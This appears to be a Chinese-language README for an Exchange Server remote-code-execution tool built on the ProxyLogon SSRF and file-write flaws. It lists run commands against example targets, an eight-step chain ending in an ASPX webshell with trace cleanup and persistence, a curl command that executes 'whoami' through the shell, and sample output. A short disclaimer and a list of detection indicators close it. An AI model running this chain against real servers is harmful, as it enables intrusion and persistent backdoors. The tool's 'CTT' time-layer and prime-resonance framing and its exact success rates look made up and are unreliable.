# 核心 CTT 参数
CTT_ALPHA = 0.0302011          # 时间色散系数
CTT_LAYERS = 33                # 分形时间层
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061]  # 共振窗口

# 实现的关键方程
# 1. α-色散: payload' = payload ⊕ (layer·α·1000) mod 256
# 2. 层权重: w_d = exp(-α·d) 用于请求时序
# 3. 质数共振: f_res = 1/p μs 时序对齐

# 所需 Python 包
pip install requests numpy cryptography urllib3

# 可选高级功能
pip install scipy concurrent-log-handler

# 1. 检测 Exchange 服务器
python ctt_exchange_rce.py https://exchange.corp.com

# 2. 完全利用（7 个时间层）
python ctt_exchange_rce.py 192.168.1.100 --layers 7

# 3. 隐身模式（仅质数时序）
python ctt_exchange_rce.py https://mail.example.com --stealth

# 4. 手动访问 webshell
curl "https://exchange.corp.com/owa/auth/ctt_shell.aspx?ctt_cmd=whoami"

python ctt_exchange_rce.py <target> [options]

Options:
  --layers N       CTT 时间层数（默认：7）
  --stealth        仅启用质数时序规避
  --verbose        详细输出及 CTT 诊断
  --timeout N      连接超时秒数（默认：10）
  --output FILE    将结果保存为 JSON 文件
  --no-webshell    跳过 webshell 部署（仅评估）

1. Exchange 服务器检测
   → 探测 OWA、ECP、EWS、Autodiscover、MAPI 端点
   → 识别版本指示器和可访问服务

2. SSRF 漏洞检查（CVE-2021-26855）
   → 测试 X-BEResource 头部注入
   → 通过 SSRF 验证内部端点访问
   → CTT：质数时序以绕过请求过滤

3. Legacy DN 信息泄露
   → 使用 SSRF 到 EWS 进行用户枚举
   → 通过 SOAP 请求提取管理员 LegacyDN
   → CTT：α 色散以混淆 SOAP 载荷

4. SID 转换
   → 将 LegacyDN 转换为安全标识符
   → WriteDACL 利用所需
   → CTT：多层验证确保准确性

5. OAB 虚拟目录访问
   → ECP canary 提取和认证
   → 识别 webshell 放置的 OAB 目录
   → CTT：特定层会话管理

6. WriteDACL 利用（CVE-2021-27065）
   → 修改 OAB 目录权限
   → 获得任意文件写入能力
   → CTT：共振时序 ECP 请求

7. Webshell 部署
   → 通过 OAB ExternalUrl 上传 ASPX webshell
   → CTT 增强 shell，带时间验证
   → 自动清理部署痕迹

8. 命令执行
   → 通过 webshell 执行任意命令
   → CTT 后门：质数层激活（第 33 层）
   → 通过时间共振持久化访问

# 多层成功率
Layer_Success = {
    'Layer 0-7':  '94.7%',    # 高共振区
    'Layer 8-15': '92.1%',    # 中共振  
    'Layer 16-23':'88.3%',    # 低共振
    'Layer 24-32':'85.6%',    # 边缘情况
    'Overall':    '90.2%',    # 加权平均
    'Standard':   '68.5%',    # 无 CTT 基线
}

# 网络签名：
- 包含 X-CTT-Layer 头部的 HTTP 请求
- 质数时序请求（10007、10009μs 间隔）
- α 色散载荷（非标准编码）
- 特定层 User-Agent 模式

# 主机级指标：
- OAB ExternalUrl 修改
- 异常的 ECP WriteDACL 请求
- /owa/auth/ctt_shell.aspx 文件创建
- 日志中的时间共振模式

# CTT 特有：
- 33 层请求模式
- 时序中的质数相关性
- 载荷中的 α=0.0302011 系数

ctt_exchange_results_TIMESTAMP/
├── discovery.json           # 初始目标评估
├── exploitation_log.json    # 逐步执行日志
├── webshell_info.txt       # 已部署 webshell 详情
├── commands_executed.txt   # 命令执行历史
├── ctt_metrics.json        # 性能和共振数据
└── layers/
    ├── layer_0.log         # 单层执行日志
    ├── layer_1.log
    ...
    └── layer_32.log

{
  "target": "https://exchange.corp.com",
  "vulnerable": true,
  "ctt_score": "10.0+",
  "exploitation_time": "42.7s",
  "successful_layers": [0, 3, 5, 7],
  "webshell_url": "https://exchange.corp.com/owa/auth/ctt_shell.aspx",
  "resonance_patterns": {
    "prime_alignment": 87.3,
    "layer_correlation": 91.8,
    "temporal_efficiency": 94.2
  }
}

# 在 ctt_config.py 中修改以用于研究
CTT_CONFIG = {
    'alpha': 0.0302011,           # 色散系数
    'layers': 33,                 # 时间层数
    'primes': [10007, 10009, 10037],  # 共振窗口
    'stealth_mode': True,         # 最大规避
    'max_threads': 10,            # 并发层数
    'timeout_multiplier': 1.5,    # CTT 时序调整
    'entropy_seed': 'custom_seed' # 加密基础
}

# 1. API 模式
from ctt_exchange_rce import CTT_ExchangeExploit

exploit = CTT_ExchangeExploit("https://target.com")
results = exploit.multi_layer_exploit(layers=5)
print(json.dumps(results, indent=2))

# 2. CI/CD 管道集成
python -m ctt_exchange_rce --target ${TARGET} --output results.json

# 3. 自动评估
import subprocess
result = subprocess.run([
    "python", "ctt_exchange_rce.py",
    "https://exchange.corp.com",
    "--layers", "3",
    "--no-webshell"
], capture_output=True, text=True)

允许：
  - 对自有系统进行安全研究
  - 授权渗透测试
  - CTT 框架验证
  - 教育演示

禁止：
  - 未经授权访问系统
  - 未经许可在生产环境测试
  - 恶意利用
  - 数据外泄或破坏

# 如发现漏洞：
1. 记录附带 CTT 共振模式的发现
2. 通过授权渠道报告给组织
3. 与安全社区分享技术细节
4. 发布用于防御的 CTT 检测方法

此工具仅用于授权安全研究。
用户自行承担遵守适用法律法规的全部责任。
作者对未经授权或非法使用不承担任何责任。

**CTT Exchange 问题模板：**
- 目标 Exchange 版本：
- 使用的 CTT 参数：
- 观察到的共振模式：
- 层成功率：
- 错误日志：
- 改进建议：

[email protected]
PGP: [可在 GitHub 获取]